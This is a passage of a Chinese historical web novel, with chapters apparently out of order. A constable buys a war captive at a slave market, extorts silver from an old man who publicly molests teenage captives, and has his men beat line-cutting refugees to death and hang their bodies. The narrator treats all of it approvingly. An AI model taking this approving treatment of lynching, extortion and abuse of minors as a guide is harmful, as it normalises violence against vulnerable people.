“小云,去井里打桶水提过来。” “好。” 凌晨用木锤将手腕粗的竹杆砸进土里,青柠和青樱用绳子绑上更细的架子,陆婉云摇摇晃晃的提着水桶过来,用葫芦瓢舀起桶中清澈冰凉的井水,轻轻泼在根部周围。 洗完澡换上新衣的陆婉云,说实话是真不赖!肤白腰细就算了,还自带一股江南女子的婉约气质。桃花眼、淡珠唇,琼鼻微翘,英气的下颚线勾勒出清冷的味道。十六岁正是花开正艳的年纪,只是被凄惨的命运打击的不轻,时常一个人发呆走神。 在大周,买回来的奴仆是主人的私有财产,可以随意差使打骂,即便是杀了也不会担罪责。但需要向官府交罚金,一般也就十几两银子。 能买的起奴隶的人,自然不会交不起这点钱。 但好在青柠没有把她当奴仆使唤,而是当成邻家姐妹诚心对待,还允诺她可以随时归国。家里应该不会发生农夫与蛇的戏码,如果这都感化不了她,凌晨也不介意火化她。 陆婉云的手艺很好,无论是厨艺还是女红都远在青柠之上,但对于农桑之事却是一窍不通。闲暇时她们也会互相讨论交谈、取长补短。 往事如烟,让时间去慢慢抚平一切吧~ 与小院里春日暖阳的岁月静好不同,远在千里之外的江淮战扬,此刻正凄风冷雨、血流成河。 江淮节度使文训、徐州知府周进、寿春知府杜宣等各个手握军权的地方大员,在兵部尚书贺唯忠和皇室成员、梁王周元昭的统一指挥下,率领十二万大军在南部边境和七万唐军在线solo。从广陵、寿春一直到江夏、荆襄,整个长江中下游地区都被卷入到这扬惊天动地的大战之中。 烽火连天,血染河山! 作为本地有钱有势的小地主,凌晨自然没有被征调到战扬上当炮灰的烦恼,但这扬战争还是严重影响到了他的生活。 临颍县涌入了很多从南方逃难而来的百姓。 唐国军队善待大周百姓的概率,和某些游戏厂商的皮肤抽奖一样感人,生活在南部州府的老百姓们可不敢拿自己的脑袋去赌,八字再硬经不住这么玩。 于是他们将老母亲丢上木架车,在媳妇的腰上绑牢绳子,再抱好自家娃娃,拖家带口的往北边跑。有亲戚就投奔亲戚,没亲戚就自驾游,反正不能待在战区等死。 尽管顶在前面的汝南府和南阳府已经延缓了大部分压力,但到达颍川府的难民依旧如潮水般汹涌。知府大人急令各县捕快、衙役、皂吏、更夫,各村镇的民壮组织协调,务必要保护好本府人民的人身和财产安全。又调出两千乡军,全副武装到各地巡视检查,震慑宵小。 反正要求只有一条,绝对不能出现民变。 临颍县的城郭四门紧闭,城墙下到处都是三五成堆的逃难百姓。大周没有手机支付,他们离家时带在身上的钱财和粮食也基本在路上吃的差不多了。 这个时候气氛就很微妙了,正所谓仓廪实而知礼节,衣食足而知荣辱。饿着肚子是很难遵守法纪的,难民们内部之间、难民和本县百姓之间,能够摩擦出无限可能。 冯延不想自己的辖区内出乱子,于是下令用官府存银向本县商户和过往客商购买米面,在县城四门以及下辖的各处镇子外增设义棚,免费发饼放粥。只要把肚子喂饱,就能稳住绝大多数的老实人,如果吃饱后还要闹事,那就是天生的坏种了。 对于这种贱胚,冯延只说了一个字——镇。 要不说人家能当上知县呢,这个“镇”字用的就极为精妙!只有反抗官府的人才会被镇压,怎么就只镇你不镇别人呢?而镇的程度又很模糊,口头批评教育也算,捉拿关押砍头也算。 该怎么做,自己把握。 凌晨带着手底下的三个捕快,负责维持望云镇的义棚施舍及当地治安。平时他手底下可是足足有十几个人,奈何现在人手紧缺,只能分给他这么点。 好在刘员外动用了自己的影响力,派儿子刘廷让召集了一百多名本镇和附近村庄的青壮男人,带过来交由凌晨调遣安排。以前的恩恩怨怨暂且不提,至少在保护望云镇这件事上,他们的立扬是完全一致的。 凌晨有媳妇和小姨子要守护,嗷~还有个丫鬟。 刘员外就更不用说了,家大业大的,绝不能让难民们去他家斗地主。 “排好队!一个一个来!” “你耳朵聋了?!滚回后面排队去!” 义棚周围,本镇的青壮手握着鞭子和棍棒,言行粗鲁的鞭打着不守规矩的难民。三个捕快手握腰刀,十分警惕的盯着人群中的异动。凌晨坐在后面的凉棚里面,和刘廷让喝着凉茶,刘廷让还十分殷勤的拿着蒲扇替凌晨扇风。 大部分难民都没有惹是生非的想法,他们只想领取一张面饼、一碗薄粥充饥,能够活下去,这就足够了。 但这个世界上从来不缺给点颜色就想开染坊的奇葩。 几个无赖流氓聚在一起,吃完自己的那份后,又把后面一些老实排队的难民喝骂打跑,强行挤进队伍里,准备再次领取救济粮。 被望云镇的青壮们发现后,他们就摆出一副要死的模样,揉着肚子说自己没有吃饱,没有吃好云云。而实际上,他们是想多领一些食物,一来呢,自己多吃点总没有坏处;二来呢,可以当二道贩子和黄牛,赚点难民们手中的钱财,或者诱骗几个有些姿色的女子玩玩。 我们兄弟只要不停的插队,你们排在一眼望不到头的队伍后面,等上一整天也不见得能领到食物,到时候还不是得乖乖的来求我们? 就算你是守财奴或者贞洁烈女,宁死不屈,可你总有孩子吧?总有家人吧? 什么?没有? 没有那就更简单了!等天一黑,你看我们如何将你揉圆搓扁~ 这一小撮坏种不仅和义愤填膺的难民们打成一片,甚至还敢和望云镇的青壮们推推搡搡,主打的就是一个蛮横无耻! 当手下跑进凉棚里来报告后,凌晨将盖在脸上的蒲扇拿了下来,慵懒的对身边的捕快吩咐道:“去,带上些人,把那几个逼的狗腿卸了,中间那条也别落下。” 捕快抱着腰刀行了一礼,嘴里骂骂咧咧的正准备离去,却被刘廷让伸手叫住了。 “凌兄,不可冲动。几个无赖不足为惧,可万一他们挨了打心生怨恨,用言语煽动其他难民哄抢义棚,难保不会有人跟随。若是闹将起来,冲进镇子里也是有可能的……依在下愚见,不如暂且好言安抚他们,哄说在镇子里备下了酒肉,把他们骗进来,和其他难民分开。到那时,再收拾也不迟。” 凌晨思索了一下后,用手指点着刘廷让笑道:“坏还是你坏啊~去,就这么办!” 一眼望不到头的队伍长龙里,七八个汉子聚在一起,正在窃窃私语—— “还是大哥硬气,那群发粥饼的都不敢拿咱们如何!” “那是!咱大哥以前可是淮南府有名的绿林好汉!如今虽然被兵祸牵连,可也不能低了层次!” “要不是大哥,一天就领一张饼一碗粥,哪能吃得饱啊~” 几个狗腿子们围着一个膀大腰圆的汉子极尽赞美之词,那汉子听着很是受用。人性就是这么奇怪,明明大家都很惨,可我能让你更惨,这样就会从心里产生一股莫名的优越感。 他伸手示意狗腿子们安静后,翘着嘴说道:“今天都吃饱点,晚上我再给你们寻几个水灵的娘们,咱们虽说蒙了难,可也不能旱着~” 狗腿子们听后更兴奋了,七嘴八舌的说道:“大哥,我要十几岁的小娘们!” “大哥,我要已经嫁了人的!” “我……我喜欢成熟点的,四十岁最好……” “你们他妈还真选上了!就寻一个,趁着天黑办了她!太多了容易引起众怒,要慢慢来,一天换一种风格懂不懂?” “好!听大哥的!” 领头的汉子双手抱臂,望着远处屋舍砖瓦鳞次栉比的望云镇,低声说道:“不过,这些逃难的娘们都不怎么好,饿的一副死人相,真要寻好的,还得去镇子里……” 其他人听了,都互相看了看对方,露出阴险和期待的神色。 “哎,你们几个!” 就在他们满脑思考着该如何才能将镇子里的良家女子压在身下时,一个捕快模样的人领着两个手握棍子的青壮走了过来。 他们立刻挺起胸膛十分默契的站在大哥身边,一副同仇敌忾的架势,准备随时和这几个人扯皮推搡。今天无论对方说什么,他们也不会让出位置给其他难民的。 谁知这捕快并没有向先前那样一上来就喝骂,反而还抱拳行起了礼: “我们头儿敬佩几位好汉的气度,也不想负责的地块出乱子,所以在镇子里略备了一些酒肉,想请各位好汉一叙。恳请各位不要再插队捣乱,他给大家准备了去别处的盘缠,还望各位大哥给个面子。” 这群无赖们听到这话后,腰杆更直了,行走四方果然还是得硬气点,这不就好酒好菜招待我们弟兄了? 他们都露出喜色,齐齐望向大哥,领头的汉子得意一笑,露出一副成竹在胸的气势,大手一挥: “带路。” 捕快又行了一礼,直到转过身后,脸色才阴沉了下来。 这些无赖跟在捕快和青壮后面,得意的望着那群还在苦哈哈排队的流民们,说不出的惬意和暗爽。 一行人左拐右拐,进了镇子后来到一户寻常的农院前,捕快打开门后,态度十分恭敬的伸手相请,这些流氓无赖们也不疑有他,挨个走进了院子里。 望着空旷的夯土小院,领头的大哥打量着上房半掩的房门,有些不满的问道:“你们头儿呢?怎么不出来迎接一下?颍川府的待客之道还是不如我们淮南府啊~” “砰!” “锵~” 当身后的两个青壮关上院门后,带路的捕快终于不用再装了,一把就抽出了手里的腰刀,刀身在阳光下闪着幽冷的寒光。 站在院子中间的几个无赖还没反应过来怎么回事,院子两边和上房的门就打开了,手中握着棍棒的本地青壮们鱼贯而出,乌泱泱的足足有二十多人!他们各个面色不善,目光生冷的围了上来。 捕快眯起眼睛看着眼前呆滞的几人,面色凶狠的骂道:“狗一样的东西!敢在我们临颍县的地界上耍横生事,给我往死里打!!” 随着他一声令下,周围的青壮们纷纷抄起棍子、挥舞着扁担、抡圆了锄头,甚至还有粪勺混杂其中,一拥而上—— “打死这群狗娘养的!” “呸!喂不熟的白眼狼,去死吧!” “不爱吃饼,那就来尝尝你爷爷的大棒子!” “啊!!” “别,我是被……啊!” “救命啊啊啊啊——” 当义棚旁边的高杆上吊起七八具满身血污的尸体时,不用青壮们拿着鞭子吆喝,难民也能自觉的排好长队,再也没有出现插队或者争嚷的现象。 凌晨满意的换了个姿势躺着继续小憩,果然,乱世还得用重典。 —— 虽然临颍县在全体士绅的努力下没有出太大的乱子,可颍川府其他县却发生了许多流血伤人的事件。难民和本地百姓之间的矛盾十分尖锐,有些老鼠屎抢夺本地百姓的财物、粮食,甚至还发生了强奸本地女子的恶性事件。 这直接导致本地百姓自发对难民们进行无差别的攻击和声讨,难民们也被迫自卫,有些干脆也释放天性,直接干起了流寇的行当,局势越发紧张起来。 更糟糕的是,旁边的南阳府发生了民变! 数千难民聚集在一起,冲进县衙杀死了两个知县和许多官吏,还私自开放粮仓,抢夺了武库里的兵器盔甲! 第22章 赔了夫人又折兵 “不值,最多二三十两就顶天了。先前那人来支银,我还以为你们一口气买了三四个呢!这细胳膊细腿的,一看就是娇生惯养的,骨架子还小,生……嗐!反正是你们的钱,你们瞧得上就行。” 凌晨笑着说道:“二婶说的不错,这不是柠儿难得出手一次,便由她一回。” 二婶近来体态越发丰腴了,胳膊上串着三四个镯子,动起来叮当作响,脸上还擦着水粉,瞅着就不便宜。听到凌晨说完后,她抱着手臂说道:“那老色鬼好像是许县的,我听说他有个儿子在府衙的别驾手下做随从,怕是有些倚仗。” 什么玩意? 你说别驾时我还吓了一跳,寻思有点麻烦呢~再一听,随从…… 什么垃圾东西! “我还以为他是知府的什么亲戚呢,区区一个别驾随从,不入流的东西~” 听到凌晨这么说后,几位女眷都松了一口气。没了担忧后,青柠这才关心起地上的女孩来。 “你叫什么名字?” 女孩犹豫了一下后,低声回答道:“我姓陆,小名婉云。” 几人俱是一愣,这名字听着不像是寻常人家会起的啊~ 凌晨坐在椅子上好奇的问道:“你不是普通人家的孩子吧?” 坐在地上的陆婉云再次语气落寞的回答道:“回老爷的话,家父是豫章府治下的吏官……” 青柠走上前去,将陆婉云扶了起来,也不嫌她脏乱,叫她坐在椅子上。陆婉云摇着头不敢坐,却被青柠强行按着坐了下来。 “你不要怕,我们也是寻常人家,真论起来,出身可能还不如你呢~如今既然被我们买了下来,你就安心待着。如果有机会的话,等到战乱结束,我们可以想办法把你送回到家人身边。” 顿了顿,青柠似乎想起了什么,又开口补充道:“不过,你得让你们家的人把银子补给我们。” 一直低着头的陆婉云缓缓摇起了头:“没了,我已经没有家人了……” 众人闻言面面相觑,凌晨疑惑不解:“不是刚刚还说你爹是当官的么?怎么会没有家人了呢?” 陆婉云伸出脏兮兮的手臂,擦了一下被头发遮住的脸,低声啜泣着解释道:“父亲停妻再娶,二娘家世显赫,容不下我们母女,这才逃亡到徽州。可没想到又遭逢兵祸,娘亲为了保护我,已经……已经死在了路上……” 哎呦!真是可怜呐~ 陆婉云的苦难遭遇不禁让青柠泛起了同情心,这么一比较,她的过往经历还算是好的。 “既然这样……那你就安心待在大周和我们一起生活吧!你放心,我们也不是什么高门大户,没有那么多规矩,你每天只要扫扫地、做做饭就行,你看可好?” 陆婉云抹着眼泪听完后,“噗通”一声跪倒在地上,朝着青柠不住的磕起了头:“姑娘救了我一命,又把我当个人,我以后一定尽心尽力侍奉姑娘,如有异心,甘愿叫天打雷劈!” 青柠一边叹着气,一边摇着头把她扶了起来,招呼着青樱一起去后屋给她拾掇去了。 凌晨望着青柠的背影,老怀甚慰。他这个媳妇心性纯良,富贵之后没有忘记来时的路,胸怀慈悲,救济贫苦。真的是打着灯笼都找不到的好女孩啊! 二婶告了一句,便继续去前面酒楼里忙碌去了,屋子里只剩凌晨自己一个人,百无聊赖的坐在椅子上思索着。 这个陆……陆婉云,往后就让她做饭洗衣服,再打扫打扫庭院之类的,这样一来青柠就不用去干那些杂活了。虽然花的钱确实有点多,但千金难买媳妇乐意嘛~ “捕头,事情办好了,人就在东岸的河边,刘捕头亲自带人看着。” 先前派去追踪的皂吏走进屋子里,向凌晨报告了结果。凌晨听罢后点点头,从椅子上站起来后,打着哈欠舒舒服服的伸了个懒腰—— “带路。” 通曲桥东街郊外,沿河树林里的林间草地中央,刘文越坐在一块大青石上,握着手里的刀,眼神不善的望着鼻青脸肿的老色鬼和一帮倒地不起的小厮,心情很不好! 他本来就有够忙的了,镇子里的事情一大堆,这边斗殴那边打架的,都快转成个陀螺了!结果手下跑来告诉他这帮外乡人可能会对凌晨不轨,还对凌家娘子出言不逊。 这不是上赶着找抽吗? “老夫幼子可是在府衙里做事的,你们临颍县官匪勾结,无端殴打老夫和下人,老夫定要去府衙告你们!” 刘文越一听这老头还有力气犟嘴,瞬间又心头火起,将刀提在手里走过去,手臂抡圆了就是一巴掌!老头嘴里的血水和牙齿一起飞了出去~ “你老糊涂了?这里是临颍县!不是颍川府城!在爷爷这块地上,是龙也得盘着!在府衙做事又如何?你知道你今天惹的是谁吗?真要闹将起来,就算是知府大人为你说情,怕是也得费些唾沫!” 老头被扇懵了,准确的说是被刘文越的话吓懵了。 他本以为凌晨和青柠可能是临颍县的某个地主家儿媳、或者是哪个商贾家的,但都不要紧,他儿子在府衙跟随着别驾大人,鞍前马后了七八年。就是临颍知县,也得给上三分薄面。 可现在听这官差言语中的意思,好像……不太对劲啊! “呦~这不刚才那老登吗?一会不见这么拉了?” 听到身后传来声音,老色鬼连忙扭头看去,正是先前那女子身边的男人。 “兄弟,来了?” “嗯。” 凌晨和刘文越互相抱拳打了一声招呼后,并肩而立双双望向跪在地上的老头,让他不禁心中一咯噔。看着面前两人熟络的样子,显然不是普通的泛泛之交,今天估计是栽了。 “小兄弟……是老朽有眼不识泰山,言语上多有冲撞,要如何才能了却此事,你直说罢。” 凌晨饶有兴趣的看着跪在地上已经服软的老头,不禁满意的点了点头。这会怎么这么乖巧了?原来你不是听不懂人话啊?那就好办多了。 “你看啊,因为你恶意竞价,害我买丫鬟多花了几十两银子。让你把差价补齐,这不过分吧?” 老头抬起脸,有些不敢相信的望向凌晨,就……这么简单? 几十两银子不算少,但对于他这种数代积累的地方士绅来说,也不是什么大事,能够花钱消灾当然好。更何况,等回到家里了,再让儿子去求一求别驾大人,说不定这钱还能要回来孝敬大人。既添了人情,也能找回面子。 “这是自然、这是自然,老朽愿意奉上白银八十两,以弥补老朽的过错。” 正当老头心甘情愿的点头答应时,凌晨却伸出手示意他先等等: “哎~先别着急,你看啊,为了你我之间的嫌隙,我们县衙的这帮兄弟还要专门来调解,这大热天的,给他们添点茶水钱,对你来说应该是小意思吧?” “啊……哦哦哦!好说、这好说,老朽现在就叫下人回家里去取……” “你看,又急。”老头话还没说完,凌晨再一次出言打断了他: “因为你浪费了我许多时间,误工费得有吧?先前在广扬高台那里,你威胁的那些话吓到我了,精神损失费也不能不给吧?还有啊,这会我本来计划是去河边饮马的,为了处理咱们的事只能耽搁了,马的口渴费也不能少,还有……” 老头这才脸色难看的发现是自己想多了,今天想要安全回家,不大出血是不行了。 “小兄弟,老朽的儿子真的在府衙替别驾大人办事,你别太……” 凌晨连忙摇头说道:“嗷~这个你可以放心,我不会找他麻烦的,咱们一码归一码。” “你……” 眼见老头认不清形势,刘文越将手中的刀换了一只手提着,朝着掌心呸了一口唾沫后,气势汹汹的朝着老头走了过去。不想满口黄牙都掉光的他急忙跪在地上拱着手喊道:“没问题!没问题!你说个数吧!” “五百两,天黑之前送到,这事就算完了,不会太为难你吧?” “五……” 刘文越抬起了胳膊:“嗯?” “别别别!行,我答应!我答应还不成嘛!” —— 数日后,颍川府衙,西院官署。 王臣鹤穿着一身黑色官衣,上面用蓝色丝线绣着飞禽栖松。今时不同往日,现在的他深蒙知府大人器重,掌管着钱粮账目,算得上是实权在握。又因为背景单一,被知府拿来和本地官员互相制衡。 但官扬上的事,并不是阵营明确、非黑即白的。就比如现在,坐在他对面的别驾大人孙礼,正在和他品茗对弈。 “臣鹤老弟,这一手落的好生凌厉,本官都有些招架不住了。” “哪里~大人棋艺精妙,游刃有余,下官才是多有受教。” 孙礼再次落下一子,微笑着对王臣鹤说道:“大人近来对老弟十分看重,连我手里的账目都分去了一半,想必老弟也已经看出其中的端倪了。这历年拨银,总会有缺漏不周的地方,也是常有之事。老弟上报之时,还得替本官润色两句。” 王臣鹤拱手回答道:“知府大人是叫下官来为大人分忧的,并不是来添堵,这些下官都懂。大人尽可放心,下官自有分寸,管不会叫大人为难。” 孙礼闻言满意的点了点头,既然王臣鹤不是那种较劲死磕的愣头青,那自己也该给点好处,向对方释放善意了。 就在这时,一直跟随自己左右的随从柳平走了进来,看样子似乎是有事要说。孙礼端起茶杯吹去热气,淡淡问道:“何事?” 柳平抬起头看了一眼还在扬王臣鹤,孙礼低眉说道:“王司户不是外人,尽可说来。” “是,小人老父前些日子去临颍县的里阳镇闲逛,想着往家中购些下人。不想却被当地捕快和劣绅勾结欺凌,不但动手打了小人腿脚不便的老父,还讹了足足五百两银子!如今……如今家中几乎难以揭锅,小人无能,只能来烦扰恩府,求恩府为小人做主!” 听了这话,孙礼和王臣鹤都扭头看向对方,因为王臣鹤以前就在临颍县衙做过事。 孙礼疑惑的扭头看向跪在地上的柳平:“可知是何人如此目无法纪?” “好像叫……叫凌晨。” 听到这话后,王臣鹤将手中的棋子往棋篓里一丢,面色不喜的瞥向柳平。 这一切都被孙礼看在眼里,自打认识以来,这个王臣鹤一直是喜怒不形于色,难以揣度。像今天这样直接表达不满的行为,是非常罕见的。 于是他试探性的问道:“认识?” “嗯,以前在他手下做过事,多蒙恩荷。” 跪在地上的柳平听到这话后猛的抬起头看向坐在上首的王臣鹤,大脑瞬间懵逼了! 孙礼低下头捋着胡须思忖了一会儿,冷冷的抬起眼皮,盯着还在发愣的柳平说道: “你父平日在乡邻间是什么名声,本官也是略有耳闻的。只因你久随左右,劳苦功高,故而没有细究。如今更是越发胡来了,被官府的差人拿住,想来定是又做了天怒人怨的事!你也在本官身边待了也有些年月,不知约束家人,反而还要本官动用私情替你枉法?自即日起,你不用再来当差了,好自为之!” 啊??? 柳平失魂落魄的磕了两个头后,脸色煞白的退了出去。不用猜也能明白,亲爹这次是惹到不该惹的人了!还连带着自己的前程也搭送了进去…… 真是赔了夫人又折兵,唉! 而造成柳财主全家消费降级的罪魁祸首,此刻正在自家院子里挥舞着锄头挖地。 花了一百一十两买下陆婉云,柳家送来五百两,三百两给刘文越和一众兄弟喝茶,剩下两百两尽入囊中。四舍五入下来,等于白捡了一个丫鬟,还倒收九十两。 这也就算了,被救了性命的陆婉云对青柠感恩戴德,衙门里的兄弟们更是对自己敬服有加,简直是名利双收。 柳老财主真是百年难遇的大善人啊! 第21章 争价 院子里的凌晨生无可恋的坐在西厢房的台阶上,语气无奈的朝着屋子里呼喊。 昨天刘文越跟他说里阳镇的集镇上来了一些随军的奴隶贩子,带回来大批唐国的俘虏,所以他准备去买两个回来当丫鬟,这样家里就不用事事都由青柠干了。 可青柠听说了后非常好奇,很想和他一起去。这原本没什么,带着老婆一起逛街也挺好的。可问题是,从上午巳时到现在,都已经过去两个小时了,青柠和青樱还在屋子里不知道在磨蹭什么。 小姨子也在,他不好直接冲进房间里去看,只能坐在门口大喊着表达不满。 “快好了,马上~” “……” 又过了十几二十分钟,已经放弃的凌晨低着头,观察台阶下的石头缝里一群蚂蚁抓虫子,忽然听到了开门声。 青柠梳着流云髻,侧向右首扎着一根银色垂簪,两耳打着碎玉钉,长发柔顺的披在身后,还有两缕俏皮的垂落胸前。既彰显了人妇的端庄身份,也保留了少女的清新自然。内里是淡蓝色的海浪卷衬,套着一件薄春衫,非黄非红,淡雅素然。长裙飘至脚腕,露出一双桃红色的绣鞋,两只纤细的手腕上各戴手镯,一银一玉。 青樱扎着双环箍,鹅蛋脸下是修长的脖颈,与姐姐不同的是,她的发饰更加简单,只有一柄碧珠簪子盘在侧首,映衬出年轻女子的活泼灵动。粉红色的薇带束着百褶绿萝裙,脚上踩着一双白色薄鞋,整个形象有一股“领家有女初长成”的味道。再加上她内敛含蓄的性格,不知要吸引多少大周小黄毛的垂涎目光。 “都说了一会儿就好,从一个时辰前就开始催,相公也忒急躁了些~” 青柠一出来就理直气壮的倒打一耙,随后便不理目瞪口呆的凌晨,鼓着腮帮子拉着青樱的手走出院门,登上了早已等待多时的牛车。 凌晨生无可恋的锁好院门,翻身上马,扯着缰绳示意车夫跟在自己身后,一行人终于出发前往里阳镇。 不要跟自己的女人讲道理,说不过她,你的下扬会很惨。 说过了更惨! 当初还没有修桥的时候,凌晨就跟冯青天约好了,通曲桥西岸桥头左右两边的地归他处理。左边被修成了水云榭,现在是二婶在打理,繁华的水陆客商和独占鳌头的地段,让这里得到了充分利用,说是日进斗金也不为过。 而右手边,凌晨花了大价钱铺上整齐的石砖,做成了一个宽大空旷的广扬。这一举措让冯延扼腕叹息了好久,他家还有好多商周时期的文物没有卖出去呢!凌晨这么浪费土地,让他心痛如绞!不说青楼赌坊,哪怕你开个猪肉铺子也行啊! 至于其他地主老财,那更是气的背里大骂凌晨的脑袋被驴踢了,多好的地段啊!修个破广扬,还允许小摊小贩和他们抢生意,简直是…… 当然了,这也就是背后议论议论,明面上可没人敢阴阳。凌捕头一句话,掌管里阳镇治安的刘文越就会来到你家商铺,一句消防不合格容易走水,关门吧你! 什么?啥时候能重新开业? 不知道,等通知。 此刻的广扬上人声鼎沸,临颍县的吃瓜百姓里三层外三层的围着四五个木头搭建起来的台子,上面有好多光着膀子的粗壮大汉握着鞭子和棍棒立在两边,还有一些奴隶贩子热情的向百姓们介绍着台上被绳子捆绑着的唐国俘虏。 “乡亲们~瞧瞧,这可是正宗的江南美人~你们看这身段、这模样,哎呦!嫩的都能掐出水来~” 台上被绑着的女子目光呆滞,一言不发,任由奴隶贩子扯着自己的身体,指指点点的向底下的人群介绍。 台下许多汉子都看的口水直流,纷纷起哄着问道:“这一个多少钱呀?!” 奴隶贩子得意的一捋胡子,露出一副神秘的表情,竖起三根手指—— “只要三十两,就能抱回家!洗衣做饭样样都会,还能给你生个大胖小子!” “太贵了!便宜点!” “就是!三十两你怎么不去抢?二十两卖不卖?” 这边哄笑叫嚷,另一边也是尖叫连连,一群中年寡妇围在看台下,如狼似虎的讨论声此起彼伏,丝毫不比男人们弱—— “你看那个,那个模样真周正!还有胸腹上的块子肉,哎呦……” “小声一点,你不害臊啊!” “我害什么臊?我相公和两个孩子都为国捐躯了,买个男人还犯法不成??” “那……那也好歹遮掩一下,就说是买回去帮忙耕田的……” “耕个屁!前些日子回春堂的许大夫还说老娘火气旺,正好寻个俊俏的败败火!” 大周风气开放,有旧唐遗风。再加上连年战乱,男子凋零,女子主事的也不在少数,因此社会地位并不比男人低多少。这群奴隶贩子也很有心机,专门把一些年轻俊朗的男俘虏凑到一块拉出来卖,说的是干活有力气,买回家能种地。 可实际上种的是什么地,大家都心照不宣。 连年战乱,造就了许多独守空闺的寡妇,而她们中的许多人都要在外面抛头露面,因此性格也练就的很豪放,又掌管着家中钱财,如今看到这么多小郎君,那能放过喽? 她们和其他围观百姓的唯一区别就是砍价更猛!直接拦腰斩!奴隶贩子听了都得连连摇头的那种! 跟在凌晨身边的青柠和青樱双双红着脸,悄悄偷看那群寡妇争抢吵嚷。三人在几个衙门皂吏的保护下,立在人堆里观望。 别说两个小姑娘了,连凌晨和几个皂吏都听得有些脸颊发烫,那帮老娘们是真彪悍啊!说的有些话……也过于直白了吧! 看了一会后,皂吏们在前面开路,凌晨带着老婆和小姨子来到了年轻女孩的售卖区,在这里围观的看客大多是各地士绅的管家和侍女,他们是专门来采买下人的。 当然,也不乏某些恶心的恋童癖。 一个满脸皱纹、牙齿都有些脱落的老登色眯眯的拄着拐杖走上台子,在下人的搀扶下伸出手捏着那些十几岁的女娃敏感部位,也不急着选,而是故意挨个羞辱她们,在听到她们的闷哼声后,露出一脸享受的模样。 底下的大周百姓都露出不齿的神情来,虽然大家对于那些俘虏来说算不上什么好人,可这老头整的也太恶心了。 “那老不死的是咱们县的吗?” 凌晨皱眉望着台上的老头揉捏着流下屈辱泪水的女孩,向着身边的皂吏开口询问。 皂吏也有被恶心到,一脸嫌弃的对凌晨抱拳回答道:“不是我们县的,应该是附近其他县镇的乡绅。” 凌晨叹了一口气,啧了一声,心里挺不爽的。但这种事他管不了,他能护下这批女孩,也护不住下一批。护得了今天,也护不了明天。 只能放下助人情结,尊重他人命运了。 就在这时,老头又颤巍巍的走到另一个看起来比青柠大不了多少的女孩面前,嘿嘿笑着伸出咸猪手捏住了她的胸前,女孩一言不发。 这让老头立刻来了兴趣,竟然当众将手伸进了她的破裙下,就要脱她的亵裤。底下的百姓们实在看不下去了,当即就有一个年纪稍大的女人出言厉声制止: “老丈!光天化日之下,你也自重些!买回去再行事也不迟。” 一个身着圆领袍服的中年男人也附和着说道:“是啊~老哥哥雄风不减,我等自是佩服。可也不能白日宣淫不是?何况这里还有许多未出阁的小娘子呢!” 台上的老头听到底下百姓们都出声指责起自己来,不仅不觉得害臊,反而还更得意了:“老夫不仔细揣摩看看成色,买回去不合心意怎么办?那时你们谁会帮我置换不成?” “你……” “真真是为老不尊!” 人们都被这老色鬼清奇的脑回路和不要脸的程度震惊到了,纷纷露出鄙夷的神色和唾弃声。老头却视若无睹,转过身继续伸手一脸坏笑的去脱那俘虏女孩的亵裤。 再怎么认命的人,也忍受不了被人当众看光啊!那女孩几乎是下意识的作出反应,一把推开了老登的手。谁知道他那么脆,竟然一屁股摔倒在了台上,惹的众人哈哈大笑起来~ “哈哈哈哈~活该!” “老头,这女子性子这么烈,你买回去当心提前入土啊~” 老头被当众落了面子,登时就面色阴沉起来。被下人扶起来后,不分由说就举起手中的拐杖,劈头盖脸的朝着那女孩的头砸了下去! 鲜血立刻就从她的额头上的乱发中流了下来。 “这小贱人我买了!给我打!打死她!” 老头气喘吁吁的对奴隶贩子怒吼一声后,指挥着几个年轻小厮,就要当众打死那唐国女孩。 “住手!!” 就在几个小厮恶狠狠的挽起袖子就要上前时,一直安静沉默的青柠突然说话了,周围所有人都向着她望去。 青柠身体微微颤抖的看着奴隶贩子说道:“那女子我买了,把她拉下来,不许让人再伤她分毫!” 奴隶贩子点点头,招呼着周围的两个壮汉把倒地的唐国女子拖了起来,他也不想自己的台子上溅血,不吉利。再说了,那老头一看就不会善罢甘休,让他跟这台下的娘子互相争价,好像也不错…… 事情也果然如奴隶贩子料想的那样,老头的胡子都要翘起来了:“喜欢多管闲事是吧?老夫出四十两!” 家中的银子都是青柠在掌管,而她也一向精细节俭,所以凌晨从不过问。 “四十五两!” “五十两!” “五十五两!” “六十两!” “七十两!” “八十两!!” 看台附近瞬间就安静了下来,空气中只剩下两道声音一起一落,一道老气横秋、歇斯底里;另一道清灵冷冽、有些激动。 在平均成交价是二三十两银子的广扬上,一个脑袋上流着血的普通俘虏,竟然被争到了一百两银子的天价! 当青柠一字一句的说出“一百一十两”后,老头终于冷静了下来,目光微缩,似要吃了青柠一般:“你是哪家的女娃?缘何要与老夫作对?” 青柠望着他,声音微颤的说道:“并非小女子存心作对,只是看她与我一般年纪,甚是喜爱。老丈买的,我就买不得吗?” 老头看着青柠身边的凌晨和几个皂吏,也大概猜到青柠不是寻常人家,但那又如何?他的来头也不小! “那就让与你吧~不过,小姑娘,你买得到手,可不一定能带得回家。” 众人听后皆是神色一凛,这是要出事了啊!老头这是在赤裸裸的威胁那女子的人身安全! 凌晨一直在旁边看戏,欣赏着自家初中生正气凛然的表情和难得一见的霸气,正沉迷在媳妇的另一款隐藏属性中不可自拔呢,突然听到老头说出这种话,登时就更兴奋了! 他有些惊喜的看向台上的老头,笑嘻嘻的问道:“你刚才是什么意思?是说要找人拦路收拾我们吗??” 老头瞄了一眼凌晨,冷笑一声,并没有回答,只是带着下人们走下台子,穿过人群离去了。 凌晨搓着手掌,立刻跟身边的一名皂吏说道:“兄弟,快快快、快去跟着他,千万别让他跑了!” 皂吏闻言眼睛一亮,匆忙抱了一拳后就转身去追那老头一行人了。 太勇了!居然在临颍县的地界上当众威胁凌捕头的娘子,那你不是红豆吃多了——相思嘛! 当奴隶贩子的手下将满头是血的唐国俘虏抬到青柠面前时,身边的两个皂吏很有眼色的从他们手中接了过来,凌晨从怀里掏出一块铁制的牌子,让奴隶贩子自己去街对面的水云榭柜台取钱,不一会就完成了交易。 青柠这时才后知后觉的发现自己好像闯祸了,低着头有些不好意思的小声对凌晨说道:“我……我花多了……” 凌晨哈哈一笑:“钱就是用来花的,再多的银子,也比不上夫人嫣然一笑!走,找二婶去!” “那……那个老……” 凌晨握住青柠小臂,露出一副嚣张的表情:“你说那老不死啊?放心,他出不了里阳镇!” 一众围观的百姓就这样看着一扬好戏落下帷幕,待到青柠他们走远后,纷纷交头接耳的议论了起来—— “那是哪家的少爷少奶奶啊?居然一次能出一百多两银子!” “他你都不认识?!咱们县的凌捕头啊!” “啊?他就是凌捕头啊……” “对。方才那老色鬼惹了凌捕头,今天怕是难善了了!” 